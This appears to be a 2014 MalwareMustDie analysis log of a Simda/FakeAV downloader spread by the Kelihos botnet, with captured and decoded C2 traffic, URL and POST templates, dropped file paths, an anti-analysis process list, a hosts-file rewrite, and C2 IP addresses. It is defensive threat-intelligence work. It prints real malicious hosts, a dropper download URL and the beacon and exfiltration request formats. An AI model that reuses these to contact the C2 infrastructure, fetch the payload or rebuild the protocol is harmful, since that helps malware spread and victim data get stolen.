// ========================================= // #MalwareMustDie! // Kelihos botnet served payload analysis // Simda payload, downloader of FakeAV // @unixfreaxjp /malware/temp]$ date Mon Feb 10 21:14:53 JST 2014 // ========================================= // first the sample info + VT link: ----------------------------------------------------------- Sample : ./sample.mmd MD5 : 2cc3c5c253997c73781de81bf0cdd405 SHA256 : bd82111305cbaf7c5fd1d33f3e7f55f3f7b8a2ed402abd4ede0adeb3037960c9 VT URL : https://www.virustotal.com/en/file/bd82111305cbaf7c5fd1d33f3e7f55f3f7b8a2ed402abd4ede0adeb3037960c9/analysis/1392034168/ Detection ratio: 31 / 50 ----------------------------------------------------------- // main course... //================================ // Decoding of of the CNC Traffic // Compare the traffic to reverse // binary result to get the crack // logic. // // Noted: I did this "my way" // Adding here and there analysis to - // find something new.. //================================ // --------------------------------------- // TRAFFIC #1 // requesting for the setup beacon.. // --------------------------------------- GET /?7y31731=%96%C9%A5%A6%A6%D8c%AA%A6%97%9B%D8ll%9B%9 8%AFf%98m%CE%DE%5E%98%A3%A1%9D%DEi%93l%96%97%98%DC%E6%A C%E9%EA%86%C7%99%AA%9E%D7rffh%AFf%5B%A1%DB%E0k%C7%D4%9A z%C1Y%9E%A0%97n%A6%A9%B5%A5%B5%ADd%AD%ACwh%B4l%7Bmz%B1l wf%B3%AAa%A4%A3%B3n%BCwjjvW%E4%CA%E3%AC%A2%A4%5E%A7%A3h f%A3eeef%A9eee%9D%A9%5E%93%95%E3t%A9cagcb%B8%9B%96%E1%E C%B1a%A9%97 HTTP/1.1 Host: report.ws55s5555y555my.com User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.590; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) // Reversed.. //...shows the domain (the same domains as captured) 4258f0: report.ws55s5555y555my.com <=== good, got the howtos here.. //next...with cracked urls: 4114f8: /?abbr=RTK&setupType=update&uid=%d&ttl=%s&controller=microinstaller&pid=3 <== #w000t!! //templates: $%s&controller=sign&data=%s&oldmid=%s&mid=%s$ // --------------------------------------- // TRAFFIC #2 // POSTING the Infection PC ID.. // --------------------------------------- POST / HTTP/1.1 Host: report.ws55s5555y555my.com User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.590; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Content-Length: 5476 Content-Type: application/x-www-form-urlencoded 31yWS=%96%97%D1%D3%A3%AA_%AA%A7hi%D6feg%97%A9eln%CE%B1b %94%D3%CE%94%96%AC%BB%88%A2%95%96%E1%D3%EBk%EA%E1fe%A3n gnn%AFmi%94%E4%E2_%95%A8%A5ic%B2%8C%84%A2%9E%A1%9F%AB%A 7e%AC%A3%94%A4%E0kkhf%B2nik%A1%A9%5E%95%A0%A5ib%B2%8B%8 8%A9%9D%A6%9F%A3%AC%8F%AE%A3%98b%D8%96%9Aib%ADeil%9A%DA d%9C%A6%9A%95%97%DC%8D%B6%A8%96%A2%A8%D6%A7%91%D6%D2if% A7iebi%AAibi%9E%ADb%93%A7%A2%60e%AA%8B%87%A2%C4%CF%A2%A 4%AD%5E%AD%ABfj%A5%5B%AC%ABr%F0%AB%8D%85%93%EE%97%C7%AC %9Edd%AF%88y%DE%D3%D7%AC%D6%D9%5B%BA%BB%5B%A2%DC%99riy% BEkxn%A3%AFg%A5%A2%AEjw%B1%9C%8B%A9%A7%A1%B5%A3%A7o%AB% B9lx%B7nhx%5B%EB%9A%A8r%9D%A9%5E%93%9F%A0da%A9%87%83%A3 %95%A0%9F%A2%A4%5E%A7%A3%5B%AB%B0eeee%A9f%7Bk%93%EB%A8% A0%A2%9FY%A3%DE%C7%C2%E4%D9%AD%C2%E1%DA%A2%C0%E1%A8%A9% D4%A1%A1%5B%A8%E8%9B%A9r%AE%DD%9D%C5%D4%8Dy%9D%DA%CA%BB %92%B5%DC%D0%EB%D9%A0%97%A4fU%B4%98%A9%9E%AB%DE%8DB%3F% AE%CDw%83%9C%8Dw%9A%DE%C5%C6%E6%D5%E2%DE%D9%E6%8F%E4%E0 U%AF%E8%A7Uy%9A%E2%A3%A8%A9%CE%E5%9A%C4%E3%D6%A2%9F%99% BB%B8%E4%85%C3%DE%D8%E8%A5%D8%E5%9AB%7Dv%AA%A9%A4%C2%A9 U%AB%A0%A7a%91%A7%9Bd%3E%83%9A%96%DE%CA%D1%DD%D7%E6%3B% 81%BC%A3%A9%D8%A1%5D%87%5E%99%7C%A7%96%DD%E1%97%C6%E2%8 D%80%96%DD%C0%B4%92%A6%D3%D2%D7%E0%93%E9%D4%A9%A4%E5Uy% A7%9E%EF%9A%A7Bw%C2%9C%D7%D4%D9%E1Q%C6%B8%C1%D3%CC%D5%D C%D7%E2%A2%A4%B8%A3%9C%DC%A3%9Ab~%E7%A9%9A%A7%D3%DA%91% C8%7Cw%8A%9A%E7%BB%C2%E9%D8%90%B8%E0%E8%93%E9%E1%9A%A9% 93z%AD%A5%A1%E8%A7%9A%A7%8D%B1%3Bm%C2%D6%96%99%DE%C9%BB %D7%CE%E4%E2%E7%E4%92%D8%E7%9AU%D9%31%A7U%8C%E2%A3%99%A 4%E4%ECN%AC%DD%E1%98%A3%E7%BC%C7%92%AA%E8%DF%DE%E3%A0%D C%E5Um%93%5D%80wg%ADnlk%A1%A9Wpy%C0%9C%94%E1%BC%C5%DA%C A%D9%E3%E5%E9%9E%DB%D4%A9%9A%93%9B%31%A7U%D0%9E%A3%99%D C%F0%A1%83%B8%DB%A7%96%EB%C5%B8%E6%85%B5%E7%E2%E0%9D%E9 %D8%A7U%ABU%5D%80w%ABjfe%A2%AC_%8C%7Cw%7B%A0%ED%BD%BC%E A%85%D6%6B%E4%94%85%E0%E1%99%A4%EA%A8U%8D%85%99%5D%80w% A6%AFg%93%A7%A1%5C%3E%83%A0%C1%E6%CA%DC%1D%92%B5%91%EB% DC%AB%9A%A0%82%96%A3%96%E0%9A%A2%9A%DB%ED%5B%B7%D4%D0%9 B%9F%E8%C3%C2%D9%CE%D5%7C%7C%C1%97%DA%E5%A4%A8%E2%9B%A9 Uc%C7z%89U%B3%EB%8F%D0%D4%E4%A2%A3%E4w%86%A0%9A%90%BB%D 3%E2%95%EC%D4%9C%9A%93%85%96%98%A0%99%88%85f%8D%A6N%A7% B4%C2%40%3B%C6%C0%B6%E4%D4%E3%DE%D8%E8N%A5%C1z%89%93%7B %A7%96%A2%DE%AC%A4%A7%D8%99a%91%A4%8D%86%81%AAd%5D%BF%C E%D3%E1%E1%E7%9D%DD%E7Ux%E2%A2%A5%A7%9A%EC%A8%9E%A4%DB% 99q%CF%D8%D2%A1%A5%99%A7%B4%D5%D0%90%A0%A0%A4N%DD%E2%A7 U%CA%9E%A3%99%A4%F0%A8U%8D%BD%868%BA%D8%DB%97%A0%F0%CAs %BF%CA%D4%D8%D3%94t%E6%E5%A2%96%E7UffU%EB%AA%A3%A9%D6%E 6%93py%C4%9C%9F%DD%C6%CA%E5%85%BD%D4%D6%DD%8F%97%C3%A1% 96%EC%9A%A7Uf%AAB%3F%82%D6%DC%A0%D2%E2%DC%99%A5%99%AC%C 6%D7%D7%9D%BC%E1%D8%93%97%B7%A7%9E%E9%9A%A7U%7B%EB%96%A 2%9A%E4%E8%A0%CE%8F%B3%98%92%ED%CC%C5%D7%85%C0%D0%D5%DF N%A8%A1eB%7D~%A3%A9%9A%E5%5D%87%5E%8D%C9%80%B2%8F%BB%98 %A5%F0%C6%C5%DD%85%B3%DE%E0%E2%93%DA%E7%9E%A4%E1%A8Ufg% A7fcf%9F%A7%5Epy%BA%9C%94%EB%C6%C6%E1%CB%E4%8F%C1%DA%94 %E0%D6%9AU%C3%A7%A4%9B%9A%EC%A8%9E%A4%DB%DA%9A%83%B4%D1 %9C%A5%E2%C6%C1%92%97%A0%9F%A5%818%CE%DC%A3%97%E2%A3%99 U%89%C9%82Uy%D2%EF%97%C6%D4%8Dw%A3%E2%CD%B8%E4rz%C6%DB% E2%92%E6%EA%A8U%B7%9A%9B%9A%A3%DD%9A%A7Bw%C6%97%C6%E1%D C%A6%A0%DF%CBs%A0%B3%B5%C3%92%BA%A0%D8%E0%9A%AC%E2%A7%A 0Uh%A7eU%88%D2%EB%A4%CC%D2%D2S%81%DA%BA%BE%92%97%7Dy%B3 %D8%9D%D9%D8U%87%D8%96%99%9A%A7%99nci%9B%A9%3Bm%BC%D6%9 6%A3%E8%CA%C2%D8%D9%90%9D%C0%B9%82%97%B9%A7%96%E0%9A%AC %A4%A7%E4Ugc%9D%99%81%C8%E1%E3%9C%94%DEw%A3%D3%C8%DB%8F %A4%818%C4%DC%98%A7%E2%A8%A4%9B%A9%99c%83z%C1%99t%D5%D0 %DA%98%A8%E8%C9%BE%92%98%9E%9F%92%C7%93%E9%E9%9E%98%D8U %85%96%98%E4UgU%B9%DA%9C%CA%E4%CE%9A%96%99%A7%B4%D5%D0% 90%9C%92%B8s%CC%80%3F%82%DC%98%A7%A4%A8%E8%9B%A9U%9B%C7 s%B7%8F%B3%A5%92%E6%BC%CA%E1%D7%DB%8F%A4%A2%5E%97%C6%9A %A7%E9%9E%98%9AU%C9%96%98%A0%8D%ABN%AF%D0%DB%9A%A6%DA%B E%B8%92%B5%D1%D2%DD%94%5B%97%B7z%8A%80%3F%89%AC%9A%DA%A 0%AA%9E%8D%C9%9D%DA%D4%DF%A7%A0%F2w%B9%E1%D7%90%C6%DB%E 2%92%E6%EA%A8U%CB%85B%3F%88%DE%98%AA%A7%D6%ED%A7%83%C4% DD%97%92%ED%BCs%D8%D4%E2%8F%BF%DD%91%E9%E2%A8%A4%D9%A9U c%83%BE%89U%7B%DF%DA%9B%C8%E6%DC%A5%9C%99%8A%81%A7%85%C 3%BF%A3%94V%C2%B5gi%A4kilh%A2B%3F%7D%DC%ED%94%CC%E7%8D% 99%A0%EBw%A0%DB%C8%E2%DE%E5%E3%94%EB%93c%83%B8%89U%7B%A 7%DA%A2%9A%AC%DC%EB%99%83%A2%9BhQ%CC%A7%84%92%8D%BB%B1% AB%A9a%AC%ACj%5E%80%3F%7D%A4%A9%DF%9E%ADU%D3%E8%A0%83%B C%D6%96%A3%E8%CA%C2%D8%D9%90%9D%C0%B9%82%97%B9%A7%96%E0 %9A%AC%A4%A7%E4Uhc%A2%99%81%B3%A0%8D%5B%7C%BB%90%88%AA% 99%A8%A3%9B%818%CA%E2%AA%A3%D7%82v%8DB%83%82%9E%98%DF%E 8%A1%D2%D5%E1S%87%E2%CA%C8%D3%D1%90%B2%9D%9FN%A9%A3fe%9 3U%ADmk%99%87%9A%99%D6%EC%A2%D5%D8%CF%A8%A5%DA%B9%BF%D7 %85%9D%8F%A3%A4%5C%A7%A1ie%A5fnB%3F%9F%A5%A7%A4%D0%B6%8 9%B6%E8%E0%A7%96%E6w%A3%E4%D4%D3%D4%E5%E7%8B%84%7D%88%A E%E6%A9%9A%A2B%83%A8%A2%A8%E0%A7%93%DB%D4z%3D%94%EC%C9% C6%E5%93%D5%E7%D7%818%EE%DC%A3%A1%E2%9C%A4%A3c%DE%AD%9A Bw%EC%93%D5%E5%D6%96%96%EC%85%B8%EA%CA%7Dy%DE%E7%8F%EA% E6c%9A%EB%9AB%3Fy%BF%88%9A%A7%E3%A7%93%DB%D4z%3D%A4%EF% BA%BB%E1%D8%E4%9D%D7%EC%93%84%7D%A8%AB%D6%9D%A4%A8%A9%A 7%9A%AD%9Az%83%A1%D9%D2%D5%A2%A4%ED%85%B8%EA%CA%7Dy%E5% EA%91%DF%E2%A8%A9%A1%9A%AD%9AB%83%9A%AD%A5%D9%E8%A0%C8% E1%9B%98%A9%DEd%5D%E5%D5%DF%DE%DE%E7%A4%A5%D8%AD%9A%80% 3F%A8%A2%96%F1i%A5%A3%DD%A7%93%DB%D4z%3D%84%C6%B8%CB%A6 %93%D5%E7%D7%818%DA%E7%9B%A2%E2%A3c%9A%AD%DEB%3F%A7%E2% E7%92%CF%DB%A0e_%DE%CF%B8%7Fo%E3%E5%D5%DC%9D%EA%E7c%9A% EB%9AB%3F%96%ED%98%9D%A0%E0%EB%A4%91%D4%E5%98%3E%83%A3% A0%C5%93%D5%E7%D7%818%CC%C1%88c%D8%AD%9AB%3F%DA%A1%9Cc% D2%F1%93py%B3%A5%AB%CC%CB%B4%E6%CA%A2%DA%A0%D9%A6%DC%80 %3F%AC%E0%9E%A5%A7%AB%EC%9Ac%9A%E5%DE%3Bm%C2%E6%A6%A5%D E%C4%60%7C%B8%E9%E2%E6%D9%9B%84%7D%88%AE%E6%A9%9A%A2B%8 3%88%AE%A8%E1%DE%9Bpy%C0%AC%A4%ED%BC%C0%7Fo%E7%DC%DB%E4 %A0%ED%E6%9Ac%D8%AD%9AB%3F%CC%AE%A8%A9%D2%E6%3Bm%D0%D4% A1%96%EC%CB%BC%A0%CA%E8%D4%7F~R // Template of this POST command is: 410fe8: POST %s HTTP/1.1 Host: %s User-Agent: %s Content-Length: %d Content-Type: application/x-www-form-urlencoded %s // values decrypted is: 4259f0: wv=wvXP& uid=11361& lng=de-CH& mid=4DE6C9669B3A7F8E87B1F13A4F7CD93C& res=00000320000100000000& v=000001F6 &rz=32 //template grabbed in reversing: 411198: wv=%s&uid=%d&lng=%s&mid=%s&res=%s&v=%08X&rz=%d // [...] and so on..(I think↑ is enough for evidence.. // Obviously infected PC information was sent.. // --------------------------------------- // REQUEST #3 // Here goes the FakeAV mess.... // --------------------------------------- GET /?de=kayoyZWnmmKfmJikqpfJ2m6nl2qmpGeZ0qTZ0cnCqZuRkc jS3evY0%2BCk1KZ26NiV0ZXR1uTFnsfZY9KazZ%2FiqZ3NdZWjpdncl 8espK3VmJSpmWKempiiqMvKqnDSZWqqqGTGptHW1cWWqshU2M7HrKuq qap7qGpvrrFhpKazrbWcmLaWdJyYpKO9nae4caJ3XQ%3D%3D HTTP/1.1 Host: update.kecowfdt8o49uo.com // unexists!! User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre Connection: Keep-Alive // Reversed... Coded template: 410ac8: update%s.%s.com <=== we know how the decode form // Thanks to hosts overwriting the access received the motherhost!! // Response: HTTP/1.1 200 OK Server: nginx Date: Mon, 10 Feb 2014 10:07:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.3.16 80 2513465194980a70c6d814d5db21b2432f5b82a099664ea242f5bd0 20459550cb45a50e1c47aac060a347d652cf549e2869ddb7e020995 2b573f8a370fe58f9d 0 // so ..hostname are encoded.. // cracked: http://update1.highguarded.com // <=== #w00tw00t!! // The GET request also different encoding, cracked; /?abbr=RTK&action=download&setupType=drop64&setupFileName=dropper64.exe #w00tw00t!! //PoC: http://urlquery.net/queued.php?id=65248966 https://www.virustotal.com/en/url/8363fdd4899e1f544f4f2b626ce985be85f4cfab0e62ce3f33ac05df4b496280/analysis/1392037874/ // traces of binary saved: 4114b5: %temp%\11361.sys 4114a8: %temp%/update_c1eec.exe 4123c8: %appdata%\ScanDisc.exe // maybe changes(random), has seeds..go figure? // PS: These "WannaFoolMe" request are fakes.. Noted: MMD is not that fools: 411394: Host: update1.randomstring.com User-Agent: IE7 411394: Host: update1.randomstring.com User-Agent: IE7 411554: Host: update1.randomstring.com User-Agent: IE7 4114c4: Host: update1.randomstring.com User-Agent: IE7 [...] //--------------------------------------- // ETC TRAFFIC... // AND THE NEXTS (REQUEST OF SAME PATTERN) // --------------------------------------- GET /?I17q20=%96%C6%A6%A6%A6%D9%60%AF%A3el%D8%9B%99hj%A C%96im%D2%DCe%96%D1%A2%7C%97k%A6bh%D6%8B%E7%E5%AF%EB%A4 %CF%C3%5B%AA%DC%99rff%ACkf%5B%D9%E7%95%A0%D3%D2vt%7F%97 %9F%99%D6%A2%A4%B3%B7%AAq%B0%A9kn%B5hvl%7B%B1zml%AF%AAt %94%A2%AE%7Dwn%B4vi%A5%A8%96%E1%D7%E7k%A7%A3ee%A3geee%A 9efe%9D%A9%5E%93%9F%9DyW%AD%AEb%60%A2%95%A0%A0%B8%AAT%E 9%EDrh%A5Y HTTP/1.1 Host: report.ws55s5555y555my.com User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.590; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) (( no response..is a beacon, leave it!)) // Autoruns.. 413fb0: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce // Spam trace???.. hmm..not good!! //..partial decoded strings.. 41134c: v=spf1 a mx ip4:%d.%d.%d.%d/%d ?all // payload was checking these applications: EtherD.exe Regshot.exe ollydbg.exe ZxSniffer.exe Syser.exe CamRecorder.exe wspass.exe SymRecv.exe SbieSvc.exe ERDNT.exe SandboxieDcomLaunch.exe irise.exe IrisSvc.exe vba32arkit.exe DrvLoader.exe SUPERAntiSpyware.exe %appdata%\ScanDisc.exe VBoxTray.exe tcpdump.exe SandboxieRpcSs.exe CamtasiaStudio.exe ERUNT.exe Sniffer.exe wireshark.exe dumpcap.exe VBoxService.exe cv.exe Aircrack-ngGui.exe WinDump.exe observer.exe windbg.exe PEBrowseDbg.exe // here is the responsible spot for getting the payload URL.. // rewriting the "hosts" trace 413010: # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. # source server 412c74: # Copyright (c) 1993-2006 Microsoft Corp. 413060: # This file contains the mappings of IP addresses to host names. Each 4131f4: # lines or following the machine name denoted by a # symbol. 412de0: # The IP address and the host name should be separated by at least one 412e2c: # space. 412ef8: # 102.54.94.97 rhino.acme.com 412f40: # 38.25.63.10 x.acme.com # x client host // added nasty stuff to download from update.kecowfdt8o49uo.com // Post Installation contacted IP: IP PORTS ------------------------ 5.61.32.192 22 79.142.66.240 22 80 443 5.149.248.85 22 80 92.123.68.97 80 443 // IP GEO info: 5.61.32.192||16265 | 5.61.32.0/20 | LEASEWEB | DE | 3NT.COM | 3NT SOLUTIONS LLP 79.142.66.240|hosted-by.altushost.com.|60778 | 79.142.64.0/22 | FELICITY | NL | ALTUSHOST.COM | ALTUSHOST B.V. 5.149.248.85||59711 | 5.149.248.0/23 | FORTUNIX | NL | HOSTZEALOT.COM | FORTUNIX NETWORKS L.P. 92.123.68.97|a92-123-68-97.deploy.akamaitechnologies.com.|1299 | 92.123.68.0/24 | TELIANET | GB | AKAMAI.COM | AKAMAI TECHNOLOGIES // ADDITIONALS..PERSONAL MEMOs.... // OpenSearch XML in the binary builder for traces??? #LOL 40c674: